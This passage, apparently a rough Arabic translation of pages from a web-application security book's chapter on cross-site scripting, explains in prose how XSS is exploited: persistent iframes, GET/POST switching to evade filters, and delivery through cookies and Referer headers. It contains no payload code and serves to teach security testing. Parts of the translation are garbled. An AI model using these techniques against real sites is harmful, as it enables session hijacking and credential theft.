‫ﻣﻨﻄﻘﺔﻭﺍﺣﺪﺓ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻭﺍﻟﺘﻲ ﺗﺴﺘﻤﺮ ﺩﺍﺧﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﺘﻬﺪﻳﺪ ﺍﻟﻀﺤﻴﺔ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ‬
‫ﻳﺬﻫﺐﺇﻟﻴﻪ ﻋﻠﻰ ﻧﻔﺲ ﺍﻟﻤﺠﺎﻝ‪.‬‬

‫ﺇﺣﺪﻯﺍﻟﻄﺮﻕ ﺍﻟﺒﺴﻴﻄﺔ ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ ﻫﻲ ﺃﻥ ﻳﻨُﺸﺊ ﺍﻟﻤﺴُﺘﻐﻞ ّﺇﻃﺎﺭﺍً ﺩﺍﺧﻠﻴﺎً ﻳﻐﻄﻲ ﻧﺎﻓﺬﺓ ﺍﻟﻤﺘﺼﻔﺢ‬
‫ﺑﺄﻛﻤﻠﻬﺎ‪،‬ﺛﻢ ﻳﻌُﻴﺪ ﺗﺤﻤﻴﻞ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺤﺎﻟﻴﺔ ﺩﺍﺧﻠﻪ‪ .‬ﺃﺛﻨﺎء ﺗﻨﻘﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﺒﺮ ﺍﻟﻤﻮﻗﻊ ﻭﺗﺴﺠﻴﻞ‬
‫ﺩﺧﻮﻟﻪﺇﻟﻰ ﺍﻟﻤﻨﻄﻘﺔ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ‪ ،‬ﻳﺴﺘﻤﺮ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﺤُﻘﻦ ﻓﻲ ﺍﻟﻌﻤﻞ ﻓﻲ ﺍﻟﻨﺎﻓﺬﺓ‬
‫ﺍﻟﺮﺉﻴﺴﻴﺔ‪.‬ﻳﻤﻜﻨﻪ ﺍﻻﺭﺗﺒﺎﻁ ﺑﺠﻤﻴﻊ‪...‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪474‬‬

‫ﺃﺣﺪﺍﺙﺍﻟﺘﻨﻘﻞ ﻭﺇﺭﺳﺎﻝ ﺍﻟﻨﻤﺎﺫﺝ ﻓﻲ ﺍﻹﻃﺎﺭ ﺍﻟﻔﺮﻋﻲ‪ ،‬ﻭﻣﺮﺍﻗﺒﺔ ﺟﻤﻴﻊ ﻣﺤﺘﻮﻳﺎﺕ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﻈﺎﻫﺮﺓ‬
‫ﻓﻴﻪ‪،‬ﻭﺑﺎﻟﻄﺒﻊ‪ ،‬ﺍﺧﺘﻄﺎﻑ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺍﻟﻠﺤﻈﺔ ﺍﻟﻤﻨﺎﺳﺒﺔ‪ .‬ﻓﻲ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺪﻋﻢ‬
‫‪ ،HTML5‬ﻳﻤﻜﻦ ﻟﻠﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺗﺤﺪﻳﺪ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻨﺎﺳﺐ ﻓﻲ ﺷﺮﻳﻂ ﺍﻟﻤﻮﻗﻊ ﺃﺛﻨﺎء ﺗﻨﻘﻞ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡﺑﻴﻦ ﺍﻟﺼﻔﺤﺎﺕ‪ ،‬ﺑﺎﺳﺘﺨﺪﺍﻡ‬
‫ﺍﻝﻧﺎﻓﺬﺓ‪.‬ﺍﻟﺘﺎﺭﻳﺦ‪()pushState.‬ﻭﻇﻴﻔﺔ‪.‬‬
‫ﻟﻤﺜﺎﻝﻭﺍﺣﺪ ﻋﻠﻰ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻻﺳﺘﻐﻼﻝ‪ ،‬ﺭﺍﺟﻊ ﻋﻨﻮﺍﻥ ‪ URL‬ﻫﺬﺍ‪:‬‬
‫‪http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html‬‬

‫ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ‬

‫ﻻﺩﺍﻋﻲ ﻟﻠﻘﻠﻖ ﺑﺸﺄﻥ ﺃﻱ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻓﻲ ﺍﻟﺠﺰء ﻏﻴﺮ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻪ ﻣﻦ ﻣﻮﻗﻌﻨﺎ‪ .‬ﻻ ﻳﻤُﻜﻦ‬
‫ﺍﺳﺘﺨﺪﺍﻣﻬﺎﻻﺧﺘﺮﺍﻕ ﺍﻟﺠﻠﺴﺎﺕ‪.‬‬

‫ﻫﺬﺍﺍﻻﻋﺘﻘﺎﺩ ﺧﺎﻃﺊ ﻟﺴﺒﺒﻴﻦ‪ .‬ﺃﻭﻻ‪ ً،‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﺴُﺘﺨﺪﻡ ﺛﻐﺮﺓ ‪ XSS‬ﻓﻲ ﺍﻟﺠﺰء ﻏﻴﺮ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻪ ﻣﻦ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻻﺧﺘﺮﺍﻕ ﺟﻠﺴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﻢ ﻣﺒﺎﺷﺮﺓ‪ ً.‬ﻟﺬﺍ‪ ،‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ ﺛﻐﺮﺓ ‪XSS‬‬
‫ﺍﻟﻤﻨُﻌﻜﺴﺔﻏﻴﺮ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺃﺧﻄﺮ ﻣﻦ ﺛﻐﺮﺓ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ‪ ،‬ﻧﻈﺮﺍً ﻟﻨﻄﺎﻕ ﺍﻟﻀﺤﺎﻳﺎ ﺍﻟﻤﺤُﺘﻤﻠﻴﻦ‬
‫ﺍﻷﻭﺳﻊ‪.‬ﺛﺎﻧﻴﺎً‪ ،‬ﺣﺘﻰ ﻟﻮ ﻟﻢ ﻳﺼُﺎﺩﻕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻌﺪ‪ ،‬ﻳﻤُﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﻧﺸﺮ ﺑﻌﺾ ﻭﻇﺎﺉﻒ ﺃﺣﺼﻨﺔ‬
‫ﻃﺮﻭﺍﺩﺓﺍﻟﺘﻲ ﺗﺒﻘﻰ ﻓﻲ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ ﻋﺒﺮ ﻃﻠﺒﺎﺕ ﻣﺘﻌﺪﺩﺓ‪ ،‬ﻣﻨُﺘﻈﺮﺍً ﺣﺘﻰ ﻳﺴُﺠﻞ ﺩﺧﻮﻟﻪ‪ ،‬ﺛﻢ ﻳﺨُﺘﺮﻕ‬
‫ﺍﻟﺠﻠﺴﺔﺍﻟﻨﺎﺗﺠﺔ‪ .‬ﺑﻞ ﻳﻤُﻜﻦ ﺃﻳﻀﺎً ﺍﻟﺤﺼﻮﻝ ﻋﻠﻰ ﻛﻠﻤﺔ ﻣﺮﻭﺭ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﺴُﺠﻞ ﻟﻮﺣﺔ‬
‫ﻣﻔﺎﺗﻴﺢﻣﻜﺘﻮﺏ ﺑﻠﻐﺔ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ ‪.13‬‬

‫ﺗﻌﺪﻳﻞﻃﺮﻳﻘﺔ ﺍﻟﻄﻠﺐ‬
‫ﺍﻓﺘﺮﺽﺃﻥ ﺛﻐﺮﺓ ‪ XSS‬ﺍﻟﺘﻲ ﺣﺪﺩﺗﻬﺎ ﺗﺴﺘﺨﺪﻡﺑﺮﻳﺪﺍﻟﻄﻠﺐ‪ ،‬ﻭﻟﻜﻦ ﺍﻟﻄﺮﻳﻘﺔ ﺍﻷﻛﺜﺮ ﻣﻼءﻣﺔ ﻟﺘﻘﺪﻳﻢ ﻫﺠﻮﻡ‬
‫ﺗﺘﻄﻠﺐﻳﺤﺼﻞﺍﻟﻄﺮﻳﻘﺔ — ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﻣﺸﺎﺭﻛﺔ ﻓﻲ ﺍﻟﻤﻨﺘﺪﻯ ﺗﺤﺘﻮﻱ ﻋﻠﻰ‬
‫ﺍﻱﺍﻡ ﺟﻲﺍﻟﻌﻼﻣﺔ ﺍﻟﺘﻲ ﺗﺴﺘﻬﺪﻑ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻌﺮﺽ ﻟﻠﺨﻄﺮ‪.‬‬

‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻣﻦ ﺍﻟﻤﻔﻴﺪ ﺩﺍﺉﻤﺎً ﺍﻟﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺘﻌﺎﻣﻞ ﻣﻊ ﺍﻟﻄﻠﺐ ﺑﻨﻔﺲ‬
‫ﺍﻟﻄﺮﻳﻘﺔﺇﺫﺍ ﺗﻢ ﺗﺤﻮﻳﻠﻪ ﺇﻟﻰﻳﺤﺼﻞﺍﻟﻄﻠﺐ‪ .‬ﺗﺘﻘﺒﻞ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﻄﻠﺒﺎﺕ ﺑﺄﻱ ﺷﻜﻞ ﻣﻦ‬
‫ﺍﻷﺷﻜﺎﻝ‪.‬‬
‫ﻓﻲ‪ ،Burp Suite‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻣﺮ "ﺗﻐﻴﻴﺮ ﻃﺮﻳﻘﺔ ﺍﻟﻄﻠﺐ" ﻓﻲ ﻗﺎﺉﻤﺔ ﺍﻟﺴﻴﺎﻕ ﻟﻠﺘﺒﺪﻳﻞ ﺑﻴﻦ‬
‫ﺃﻱﻃﻠﺐﻳﺤﺼﻞﻭﺑﺮﻳﺪﻃﺮُﻕ‪.‬‬

‫ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ‬

‫ﻫﺬﺍﺍﻟﺨﻠﻞ ﻓﻲ ‪ XSS‬ﻏﻴﺮ ﻗﺎﺑﻞ ﻟﻼﺳﺘﻐﻼﻝ‪ .‬ﻻ ﺃﺳﺘﻄﻴﻊ ﺗﺸﻐﻴﻞ ﻫﺠﻮﻣﻲ ﻛـﻳﺤﺼﻞ ﻃﻠﺐ‪".‬‬

‫ﺇﺫﺍﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﻐﻼﻝ ﺧﻠﻞ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺲ ﻓﻘﻂ ﺑﺎﺳﺘﺨﺪﺍﻡﺑﺮﻳﺪﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﻫﺬﻩ‬


‫ﺍﻟﻄﺮﻳﻘﺔ‪،‬ﻻ ﻳﺰﺍﻝ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺮﺿﺔ ﻵﻟﻴﺎﺕ ﻣﺨﺘﻠﻔﺔ ﻟﺘﻮﺻﻴﻞ ﺍﻟﻬﺠﻤﺎﺕ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺗﻠﻚ ﺍﻟﺘﻲ‬
‫ﺗﺴﺘﺨﺪﻡﻣﻮﻗﻊ ﻭﻳﺐ ﺗﺎﺑﻊ ﻟﺠﻬﺔ ﺧﺎﺭﺟﻴﺔ ﺿﺎﺭﺓ‪.‬‬
‫‪475‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﺍﻷﺳﻠﻮﺏ ﺍﻟﻤﻌﺎﻛﺲ ﻣﻔﻴﺪﺍً‪ .‬ﺗﺤﻮﻳﻞ ﻫﺠﻮﻡ ﻳﺴﺘﺨﺪﻡﻳﺤﺼﻞﻃﺮﻳﻘﺔ‬
‫ﺇﻟﻰﻃﺮﻳﻘﺔ ﺗﺴﺘﺨﺪﻡﺑﺮﻳﺪﻗﺪ ﺗﻤُﻜﻨّﻚ ﻫﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ﻣﻦ ﺗﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ‪ .‬ﺗﺠُﺮﻱ ﺍﻟﻌﺪﻳﺪ ﻣﻦ‬
‫ﺍﻟﺘﻄﺒﻴﻘﺎﺕﺗﺼﻔﻴﺔ ﻋﺎﻣﺔ ﻋﻠﻰ ﻣﺴﺘﻮﻯ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻄﻠﺒﺎﺕ ﺳﻼﺳﻞ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﻌﺮﻭﻓﺔ‪ .‬ﺇﺫﺍ ﻛﺎﻥ‬
‫ﺍﻟﺘﻄﺒﻴﻖﻳﺘﻮﻗﻊ ﺍﺳﺘﻼﻡ ﻃﻠﺒﺎﺕ ﺑﺎﺳﺘﺨﺪﺍﻡﻳﺤﺼﻞﺑﺎﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ‪ ،‬ﻗﺪ ﻳﺘﻢ ﺇﺟﺮﺍء ﻫﺬﺍ ﺍﻟﺘﺼﻔﻴﺔ‬
‫ﻋﻠﻰﺳﻠﺴﻠﺔ ﺍﺳﺘﻌﻼﻡ ﻋﻨﻮﺍﻥ ‪ URL‬ﻓﻘﻂ‪ .‬ﺑﺘﺤﻮﻳﻞ ﻃﻠﺐ ﻻﺳﺘﺨﺪﺍﻡﺑﺮﻳﺪﺑﺎﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ‪ ،‬ﻗﺪ‬
‫ﺗﺘﻤﻜﻦﻣﻦ ﺗﺠﺎﻭﺯ ﻫﺬﺍ ﺍﻟﻔﻠﺘﺮ‪.‬‬

‫ﺍﺳﺘﻐﻼﻝ‪ XSS‬ﻋﺒﺮ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ‬

‫ﺗﺤﺘﻮﻱﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻣﻨﻌﻜﺴﺔ‪ ،‬ﺣﻴﺚ ﺗﻜﻮﻥ ﻧﻘﻄﺔ ﺩﺧﻮﻝ ﺍﻟﻬﺠﻮﻡ ﺩﺍﺧﻞ ﻣﻠﻒ‬
‫ﺗﻌﺮﻳﻒﺍﺭﺗﺒﺎﻁ ﺍﻟﻄﻠﺐ‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺎﺕ ﻣﺨﺘﻠﻔﺔ ﻻﺳﺘﻐﻼﻝ ﻫﺬﻩ‬
‫ﺍﻟﺜﻐﺮﺓ‪:‬‬
‫ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺗﻌﺪﻳﻞ ﻃﺮﻳﻘﺔ ﺍﻟﻄﻠﺐ‪ ،‬ﻗﺪ ﻳﺴﻤﺢ ﻟﻚ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﻌﻠﻤﺔ ‪ URL‬ﺃﻭ‬ ‫‪-‬‬

‫ﻧﺺﺑﻨﻔﺲ ﺍﺳﻢ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﻟﺘﻔﻌﻴﻞ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ‪.‬‬

‫ﺇﺫﺍﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ﻭﻇﻴﻔﺔ ﺗﺴﻤﺢ ﺑﺘﻌﻴﻴﻦ ﻗﻴﻤﺔ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﻣﺒﺎﺷﺮﺓ ً‬ ‫‪-‬‬

‫)ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺻﻔﺤﺔ ﺗﻔﻀﻴﻼﺕ ﺗﻌُﻴﻦّ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﻨﺎء ًﻋﻠﻰ ﻗﻴﻢ‬
‫ﺍﻟﻤﻌﻠﻤﺎﺕﺍﻟﻤﺮُﺳﻠﺔ(‪ ،‬ﻓﻘﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺗﺼﻤﻴﻢ ﻫﺠﻮﻡ ﺗﺰﻭﻳﺮ ﻃﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ ﻳﻌُﻴﻦّ ﻣﻠﻒ‬
‫ﺗﻌﺮﻳﻒﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﻤﻄﻠﻮﺏ ﻓﻲ ﻣﺘﺼﻔﺢ ﺍﻟﻀﺤﻴﺔ‪ .‬ﻳﺘﻄﻠﺐ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ ﺣﺚ ّ‬
‫ﺍﻟﻀﺤﻴﺔﻋﻠﻰ ﺗﻘﺪﻳﻢ ﻃﻠﺒﻴﻦ‪ :‬ﺗﻌﻴﻴﻦ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﻤﻄﻠﻮﺏ ﺍﻟﺬﻱ ﻳﺤﺘﻮﻱ ﻋﻠﻰ‬
‫ﺣﻤﻮﻟﺔ‪ ،XSS‬ﻭﻃﻠﺐ ﺍﻟﻮﻇﻴﻔﺔ ﺍﻟﺘﻲ ﺗﻌُﺎﻟﺞَ ﻓﻴﻬﺎ ﻗﻴﻤﺔ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﻄﺮﻳﻘﺔ ﻏﻴﺮ ﺁﻣﻨﺔ‪.‬‬

‫ﺗﺎﺭﻳﺨﻴﺎً‪،‬ﻭﺟُﺪﺕ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﻣﺘﻨﻮﻋﺔ ﻓﻲ ﺗﻘﻨﻴﺎﺕ ﺇﺿﺎﻓﺎﺕ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ‪ ،‬ﻣﺜﻞ ﻓﻼﺵ‪،‬‬ ‫‪-‬‬

‫ﻭﺍﻟﺘﻲﺃﺗﺎﺣﺖ ﺇﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺭﺅﻭﺱ ‪ HTTP‬ﻋﺸﻮﺍﺉﻴﺔ‪ .‬ﺣﺎﻟﻴﺎً‪،‬‬


‫ﻫﻨﺎﻙﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻭﺍﺣﺪﺓ ﻋﻠﻰ ﺍﻷﻗﻞ ﻣﻌﺮﻭﻓﺔ ﻋﻠﻰ ﻧﻄﺎﻕ ﻭﺍﺳﻊ‪ ،‬ﻭﻟﻜﻦ ﻟﻢ ﻳﺘﻢ ﺇﺻﻼﺣﻬﺎ ﺑﻌﺪ‪.‬‬
‫ﻳﻤﻜﻨﻚﺍﺳﺘﻐﻼﻝ ﺇﺣﺪﻯ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﻓﻲ ﺇﺿﺎﻓﺎﺕ ﺍﻟﻤﺘﺼﻔﺢ ﻹﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ‬
‫ﺗﺤﺘﻮﻱﻋﻠﻰ ﺭﺃﺱ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﻋﺸﻮﺍﺉﻲ ﻣﺼُﻤﻢ ﻟﺘﻔﻌﻴﻞ ﺍﻟﺜﻐﺮﺓ‪.‬‬

‫ﺇﺫﺍﻟﻢ ﺗﻨﺠﺢ ﺃﻱ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻟﺴﺎﺑﻘﺔ‪ ،‬ﻓﻴﻤﻜﻨﻚ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻦ ﺃﻱ ﺧﻄﺄ ‪ XSS‬ﺁﺧﺮ ﻳﻨﻌﻜﺲ ﻋﻠﻰ‬ ‫‪-‬‬

‫ﻧﻔﺲﺍﻟﻤﺠﺎﻝ )ﺃﻭ ﻣﺠﺎﻝ ﺫﻱ ﺻﻠﺔ( ﻟﺘﻌﻴﻴﻦ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺩﺍﺉﻢ ﺑﺎﻟﻘﻴﻤﺔ ﺍﻟﻤﻄﻠﻮﺑﺔ‪،‬‬
‫ﻭﺑﺎﻟﺘﺎﻟﻲﺗﻘﺪﻳﻢ ﺍﺧﺘﺮﺍﻕ ﺩﺍﺉﻢ ﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ‪.‬‬

‫ﺍﺳﺘﻐﻼﻝ‪ XSS‬ﻓﻲ ﺭﺃﺱ ﺍﻟﻤﺮﺟﻊ‬


‫ﺗﺤﺘﻮﻱﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﻣﻨﻌﻜﺴﺔ ﻻ ﻳﻤﻜﻦ ﺗﺸﻐﻴﻠﻬﺎ ﺇﻻ ﻣﻦ ﺧﻼﻝﺍﻟﻤﺤُﻴﻞﻋﺎﺩﺓ ًﻣﺎ‬
‫ﻳﻜﻮﻥﺍﺳﺘﻐﻼﻝ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺳﻬﻼ ًﻧﺴﺒﻴﺎً ﺑﺎﺳﺘﺨﺪﺍﻡ ﺧﺎﺩﻡ ﻭﻳﺐ ﻳﺘﺤﻜﻢ ﻓﻴﻪ ﺍﻟﻤﻬﺎﺟﻢ‪ .‬ﻳﺤُﺚ‬
‫ﺍﻟﻀﺤﻴﺔﻋﻠﻰ ﻃﻠﺐ ﻋﻨﻮﺍﻥ ‪ URL‬ﻋﻠﻰ ﺧﺎﺩﻡ ﺍﻟﻤﻬﺎﺟﻢ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺣﻤﻮﻟﺔ ‪ XSS‬ﻣﻨﺎﺳﺒﺔ ﻟﻠﺘﻄﺒﻴﻖ‬
‫ﺍﻟﻤﻌُﺮﺽَّﻟﻠﺜﻐﺮﺓ‪ .‬ﻳﻌُﻴﺪ ﺧﺎﺩﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺍﺳﺘﺠﺎﺑﺔ ًﺗﻮُﺟﻪِّ ﻃﻠﺒﺎً ﺇﻟﻰ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺜﻐﺮﺓ‪،‬‬
‫ﻭﺗﻀُﻤﻦَّﺣﻤﻮﻟﺔ ﺍﻟﻤﻬﺎﺟﻢ ﻓﻲﺍﻟﻤﺤُﻴﻞﺍﻟﺮﺃﺱ ﺍﻟﺬﻱ ﻳﺘﻢ ﺇﺭﺳﺎﻟﻪ ﻣﻊ ﻫﺬﺍ ﺍﻟﻄﻠﺐ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪476‬‬

‫ﻓﻲﺑﻌﺾ ﺍﻟﻤﻮﺍﻗﻒ‪ ،‬ﻳﺘﻢ ﺗﺸﻐﻴﻞ ﺛﻐﺮﺓ ‪ XSS‬ﻓﻘﻂ ﺇﺫﺍﺍﻟﻤﺤُﻴﻞﻳﺤﺘﻮﻱ ﺭﺃﺱ ﺍﻟﺼﻔﺤﺔ ﻋﻠﻰ ﻋﻨﻮﺍﻥ‬
‫‪ URL‬ﻋﻠﻰ ﻧﻔﺲ ﻧﻄﺎﻕ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺜﻐﺮﺓ‪ .‬ﻫﻨﺎ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻦ ﺃﻱ ﻭﻇﺎﺉﻒ‬
‫ﺇﻋﺎﺩﺓﺗﻮﺟﻴﻪ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺘﻨﻔﻴﺬ ﻫﺠﻮﻣﻚ‪ .‬ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ‪ ،‬ﻋﻠﻴﻚ ﺇﻧﺸﺎء ﻋﻨﻮﺍﻥ ‪ URL‬ﻟﻮﻇﻴﻔﺔ ﺇﻋﺎﺩﺓ‬
‫ﺍﻟﺘﻮﺟﻴﻪﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺛﻐﺮﺓ ‪ XSS‬ﺻﺤﻴﺤﺔ ﻭﻳﺆﺩﻱ ﺇﻟﻰ ﺇﻋﺎﺩﺓ ﺗﻮﺟﻴﻪ ﺇﻟﻰ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻌُﺮﺽَّ ﻟﻠﺜﻐﺮﺓ‪.‬‬
‫ﻳﻌﺘﻤﺪﻧﺠﺎﺡ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﻋﻠﻰ ﻃﺮﻳﻘﺔ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻣﻬﺎ ﺍﻟﻮﻇﻴﻔﺔ ﻭﻋﻠﻰ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ‬
‫ﺍﻟﻤﺘﺼﻔﺤﺎﺕﺍﻟﺤﺎﻟﻴﺔ ﺗﺤُﺪﺙِّﺍﻟﻤﺤُﻴﻞﺍﻟﺮﺃﺱ ﻋﻨﺪ ﺍﺗﺒﺎﻉ ﻋﻤﻠﻴﺎﺕ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ‪.‬‬

‫ﺍﺳﺘﻐﻼﻝ‪ XSS‬ﻓﻲ ﻣﺤﺘﻮﻯ ﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺔ ﻏﻴﺮ ﺍﻟﻘﻴﺎﺳﻲ‬


